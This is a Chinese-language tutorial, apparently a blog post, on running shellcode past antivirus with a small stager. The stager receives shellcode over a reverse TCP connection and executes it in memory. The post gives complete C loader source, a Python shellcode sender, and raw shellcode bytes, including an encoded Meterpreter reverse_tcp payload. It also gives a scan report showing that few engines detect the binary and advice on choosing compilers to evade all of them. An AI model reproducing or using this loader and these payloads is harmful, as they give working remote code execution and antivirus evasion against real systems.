Shellcode是我们在做渗透或者进行漏洞利用时常用的一段代码,它能够以很小的字节数完成我们想要的结果,然而现在杀毒软件的识别能力也在加强,所以迫使我们要对Shellcode进行加密混淆等等操作达到免杀的目的,怎么能够减少Shellcode被杀的概率呢?下面我来介绍一种比较另类的利用方式。
搞Web安全的都知道,我们在渗透一个网站的时候,往往需要用到大马和小马。比如一个上传漏洞,如果漏洞上传点限制了文件大小,而我们又无法进行绕过时,那么就需要用到小马,利用小马进行无限制大小的上传我们的大马,从而进一步的控制服务器和利用大马进行提权。
道理一样,我们利用Shellcode进行渗透时,如果服务器安装有杀毒软件,我们没有经过免杀操作的Shellcode就不能在服务器上运行,进而我们需要对Shellcode进行繁琐的免杀操作,所以,受到web端启发,我们可不可以在无法过杀毒软件的情况下上传一个无害的小马呢?答案是可以的。
测试环境:
1.本机win7 : 127.0.0.1(本机作为攻击机和被攻击机)
2.虚拟机kali : 192.168.19.128(shell监听)
首先我们利用recver_hander模块生成反弹监听小马
我们打开temp.cpp查看小马源码
//Project : <https://github.com/hu>cmosin/purelove
//This file created with purelove ..
//Compile : gcc temp.c -o test.exe
#include <stdio.h>
#include <winsock2.h>
#include <Windows.h>
#pragma comment (lib, "ws2_32")
typedef struct sockaddr_in sockaddr_in;
int sock_shellcode(char *shellcodes)
{
char *shellcode =shellcodes;
DWORD why_must_this_variable;
BOOL ret = VirtualProtect (shellcode, strlen(shellcode),
PAGE_EXECUTE_READWRITE, &why_must_this_variable);
if (!ret) {
return 0;
}
((void (*)(void))shellcode)();
return 0;
}
int main()
{
Sleep(2000);
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sockaddr;
sockaddr.sin_family=AF_INET;
sockaddr.sin_port=htons(4444);
sockaddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));
printf("***SERVER***");
while(TRUE)
{
while(TRUE)
{
char buffer[4096];
recv(s, buffer, 4096, NULL);
if (buffer == NULL)
{
continue;
}
else
{
sock_shellcode(buffer);
}
}
}
printf("thins end up");
closesocket(s);
WSACleanup();
getchar();
exit(0);
}
这个小马,利用了反向连接监听方法,首先我们创建SOCKET套接字,设置远程连接端口和IP地址,这里就用本机进行演示,连接远程IP:127.0.0.1,远程端口4444
SOCKET s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sockaddr;
sockaddr.sin_family=AF_INET;
sockaddr.sin_port=htons(4444);
sockaddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));
我们写一个死循环来监听远程发送过来的Shellocde,这里的数据内存要写4096,否则小马会因为接收的数据太大而退出,如果你的Shellcode很大,建议对数据进行打包发送和接收,当然还有异常处理什么的这里就不写了。
while(TRUE)
{
while(TRUE)
{
char buffer[4096];
recv(s, buffer, 4096, NULL);
if (buffer == NULL)
{
continue;
}
else
{
sock_shellcode(buffer); //shellcode接收执行
}
}
}
下面来到shellcode执行部分,我们设置一个shellcode执行函数sock_shellcode()
,我们用一个函数来进行内存保护VirtualProtect()
,最后执行shellcode,((void (*)(void))shellcode)();
int sock_shellcode(char *shellcodes)
{
char *shellcode =shellcodes;
DWORD test;
BOOL ret = VirtualProtect (shellcode, strlen(shellcode),
PAGE_EXECUTE_READWRITE, &test);
if (!ret) {
return 0;
}
((void (*)(void))shellcode)();
return 0;}
小马写好了,那么我们来写shellcode发送监听端,shellcode发送监听端我们采用python来写(什么语言无所谓)。
\#-*- coding: utf-8 -*-
import os,sys
from socket import *
HOST = '0.0.0.0'
PORT = 4444
BUFSIZ = 2048
ADDR = (HOST, PORT)
sock = socket(AF_INET, SOCK_STREAM)
sock.bind(ADDR)
sock.listen(1)
STOP_CHAT = False
print "Hander Listening %s port:%s" %(HOST,PORT)
while not STOP_CHAT:
tcpClientSock, addr=sock.accept()
print('Start Listening %s port %s.....') %(addr,PORT)
while True:
p = raw_input("send:> ")
if p =="send":
data = "" #shellcode存放
try:
tcpClientSock.send(data)
if data.upper()=="QUIT":
STOP_CHAT = True
break
os_result = tcpClientSock.recv(BUFSIZ)
except:
tcpClientSock.close()
break
if STOP_CHAT:
break
print(os_result)
tcpClientSock.close()
sock.close()
我们一样,用一个socket套接字来监听4444端口,data变量用来存放shellcode,当然这里的shellcode过大,也需要对shellcode进行打包发送。
到了这一步,我们的小马和服务监听端就写好了。
我们现在来测试一下,我们先使用messagebox模块生成shellcode,弹出的messagebox信息为”test”。
我们把shellcode复制到shellcode发送端里的data变量中,如下
\#-*- coding: utf-8 -*-
import os,sys
from socket import *
HOST = '0.0.0.0'
PORT = 4444
BUFSIZ = 2048
ADDR = (HOST, PORT)
sock = socket(AF_INET, SOCK_STREAM)
sock.bind(ADDR)
sock.listen(1)
STOP_CHAT = False
print "Hander Listening %s port:%s" %(HOST,PORT)
while not STOP_CHAT:
tcpClientSock, addr=sock.accept()
print('Start Listening %s port %s.....') %(addr,PORT)
while True:
p = raw_input("send:> ")
if p =="send":
data= "\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68\x54\x53\x45\x54\x8b\xcc\x57\x57\x51\x57\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x53\xff\xd6\x57\xff\xd0"
try:
tcpClientSock.send(data)
if data.upper()=="QUIT":
STOP_CHAT = True
break
os_result = tcpClientSock.recv(BUFSIZ)
except:
tcpClientSock.close()
break
if STOP_CHAT:
break
print(os_result)
tcpClientSock.close()
sock.close()
现在我们执行小马程序,对shellcode发送端进行连接,在连接成功后我们send发送shellcode
可以看到成功了!说明我们的小马程序没有任何的问题。在日常中,我们习惯使用metaspliot来进行攻击,那么我们就用metaspliot的payload来进行利用。
下面我们选择reverse_tcp模块生成shellcode编码。
同理,我们把shellcode放到shellcode发送端里的data变量中,如下
\#-*- coding: utf-8 -*-
import os,sys
from socket import *
HOST = '0.0.0.0'
PORT = 4444
BUFSIZ = 2048
ADDR = (HOST, PORT)
sock = socket(AF_INET, SOCK_STREAM)
sock.bind(ADDR)
sock.listen(1)
STOP_CHAT = False
print "Hander Listening %s port:%s" %(HOST,PORT)
while not STOP_CHAT:
tcpClientSock, addr=sock.accept()
print('Start Listening %s port %s.....') %(addr,PORT)
while True:
p = raw_input("send:> ")
if p =="send":
data= "\xeb\x18\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb\x03\x74\x0e\x80\xf3\x05\x88\x1f\x47\x40\xeb\xef\xe8\xe3\xff\xff\xff\xf9\xed\x83\x05\x05\x05\x65\x8c\xe0\x34\xd7\x61\x8e\x57\x35\x8e\x57\x09\x8e\x57\x11\x8e\x77\x2d\x0a\xb2\x4f\x23\x34\xfa\x34\xc5\xa9\x39\x64\x79\x07\x29\x25\xc4\xca\x08\x04\xc2\xe7\xf5\x57\x52\x8e\x57\x15\x8e\x47\x39\x8e\x49\x15\x7d\xe6\x4f\x04\xd4\x54\x8e\x5c\x25\x04\xd6\x8e\x4c\x1d\xe6\x39\x4c\x8e\x31\x8e\x04\xd3\x34\xfa\x34\xc5\xa9\xc4\xca\x08\x04\xc2\x3d\xe5\x70\xf1\x06\x78\xfd\x3e\x78\x21\x70\xe7\x5d\x8e\x5d\x21\x04\xd6\x63\x8e\x09\x4e\x8e\x5d\x19\x04\xd6\x8e\x01\x8e\x04\xd5\x8c\x41\x21\x21\x5e\x5e\x64\x5c\x5f\x54\xfa\xe5\x5d\x5a\x5f\x8e\x17\xee\x8c\x58\x6d\x36\x37\x05\x05\x6d\x72\x76\x37\x5a\x51\x6d\x49\x72\x23\x02\xfa\xd0\xbd\x95\x04\x05\x05\x2c\xc1\x51\x55\x6d\x2c\x85\x6e\x05\xfa\xd0\x55\x55\x55\x55\x45\x55\x45\x55\x6d\xef\x0a\xda\xe5\xfa\xd0\x92\x6f\x0c\x6d\xc5\xad\x16\x85\x6d\x07\x05\x14\x59\x8c\xe3\x6f\x15\x53\x52\x6d\x9c\xa0\x71\x64\xfa\xd0\x80\xc5\x71\x09\xfa\x4b\x0d\x70\xe9\x6d\xf5\xb0\xa7\x53\xfa\xd0\x6f\x05\x6f\x01\x53\x52\x6d\x07\xdc\xcd\x5a\xfa\xd0\x8e\x33\x6f\x45\x6d\x05\x15\x05\x05\x53\x6f\x05\x6d\x5d\xa1\x56\xe0\xfa\xd0\x96\x56\x6f\x05\x53\x56\x52\x6d\x07\xdc\xcd\x5a\xfa\xd0\x04\xc6\x2c\xc3\x80\xf3\x70\xe9\xc6\x03"
try:
tcpClientSock.send(data)
if data.upper()=="QUIT":
STOP_CHAT = True
break
os_result = tcpClientSock.recv(BUFSIZ)
except:
tcpClientSock.close()
break
if STOP_CHAT:
break
print(os_result)
tcpClientSock.close()
sock.close()
对shellcode发送端进行反向连接,连接成功后,我们send发送shellcode到小马端进行执行。
我们用metaspliot的handler进行监听,我们使用的模块是payload/windows/meterpreter/reverse_tcp。
可以看到,在我们send发送shellcode后,成功在kali里获取到了反弹shell。
现在为了验证小马的过杀软能力,把小马上传到virscan进行杀毒引擎病毒扫描
VirSCAN.org Scanned Report :
Scanned time : 2017-09-17 17:59:56
Scanner results: 5%的杀软(2/39)报告发现病毒
File Name : test.exe
File Size : 17988 byte
File Type : application/x-dosexec
MD5 : 2e6a1aef8517d9e6e5291fc2725dbd09
SHA1 : ba9b1897f74f05791da16615fbf22ee1f052f6e0
Online report : http://r.virscan.org/report/488a9535a7294fc51f0148f237f47c02
Scanner Engine Ver Sig Ver Sig Date Time Scan result
ANTIVIR 1.9.2.0 1.9.159.0 7.14.27.224 20 没有发现病毒
AVAST! 170303-1 4.7.4 2017-03-03 35 没有发现病毒
AVG 2109/14460 10.0.1405 2017-09-14 1 没有发现病毒
ArcaVir 1.0 2011 2014-05-30 8 没有发现病毒
Authentium 4.6.5 5.3.14 2017-09-16 1 没有发现病毒
Baidu Antivirus2.0.1.0 4.1.3.52192 2.0.1.0 3 没有发现病毒
Bitdefender 7.58879 7.90123 2015-01-16 1 没有发现病毒
ClamAV 23835 0.97.5 2017-09-15 1 PUA.Win.Packer.MingwGcc-3
Comodo 15023 5.1 2017-09-16 3 没有发现病毒
Dr.Web 5.0.2.3300 5.0.1.1 2017-09-11 50 没有发现病毒
F-PROT 4.6.2.117 6.5.1.5418 2016-02-05 1 W32/Felix:CO:VC!Eldorado
F-Secure 2015-08-01-02 9.13 2015-08-01 7 没有发现病毒
Fortinet 5.4.247 2017-09-17 1 没有发现病毒
GData 25.14209 25.14209 2017-09-16 12 没有发现病毒
IKARUS 3.02.08 V1.32.31.0 2017-09-16 9 没有发现病毒
NOD32 6086 3.0.21 2017-09-15 1 没有发现病毒
QQ手机 1.0.0.0 1.0.0.0 2015-12-30 1 没有发现病毒
Quickheal 14.00 14.00 2017-09-16 3 没有发现病毒
SOPHOS 5.32 3.65.2 2016-10-10 11 没有发现病毒
Sunbelt 3.9.2671.2 3.9.2671.2 2017-09-15 2 没有发现病毒
TheHacker 6.8.0.5 6.8.0.5 2017-09-11 1 没有发现病毒
Vba32 3.12.29.5 beta 3.12.29.5 beta 2017-09-15 10 没有发现病毒
ViRobot 2.73 2.73 2015-01-30 1 没有发现病毒
VirusBuster 15.0.985.0 5.5.2.13 2014-12-05 17 没有发现病毒
a-squared 9.0.0.4799 9.0.0.4799 2015-03-08 2 没有发现病毒
nProtect 9.9.9 9.9.9 2013-12-27 3 没有发现病毒
卡巴斯基 5.5.33 5.5.33 2014-04-01 31 没有发现病毒
奇虎360 1.0.1 1.0.1 1.0.1 4 没有发现病毒
安博士V3 9.9.9 9.9.9 2013-05-28 6 没有发现病毒
安天 AVL SDK 2.0 1970-01-01 3 没有发现病毒
江民杀毒 16.0.100 1.0.0.0 2017-09-16 2 没有发现病毒
熊猫卫士 9.05.01 9.05.01 2017-09-16 5 没有发现病毒
瑞星 26.28.00.01 26.28.00.01 2016-07-18 4 没有发现病毒
百度杀毒 1.0 1.0 2017-03-22 1 没有发现病毒
费尔 17.47.17308 1.0.2.2108 2017-09-16 6 没有发现病毒
赛门铁克 20151230.005 1.3.0.24 2015-12-30 1 没有发现病毒
趋势科技 13.302.06 9.500-1005 2017-03-27 1 没有发现病毒
迈克菲 8620 5400.1158 2017-08-12 17 没有发现病毒
金山毒霸 2.1 2.1 2017-09-16 3 没有发现病毒
只有两个杀毒引擎报毒,在这里有个问题,小马用的是gcc编译器进行编译,如果我换成其他的编译器的时候,拿去检测,没有一款杀毒引擎报毒,直接免杀全球,所以选择一个合适编译器很重要。
这种以小马的方式执行shellcode在系统中不会产生任何的文件,因为shellcode直接带入内存,所以也减少了被杀的风险,其实在现实中还需要考虑很多问题,比如杀毒软件的内存监控,网络通信监控等等,当我们面对对方杀软无能为力时,这不失为一种有效的方法。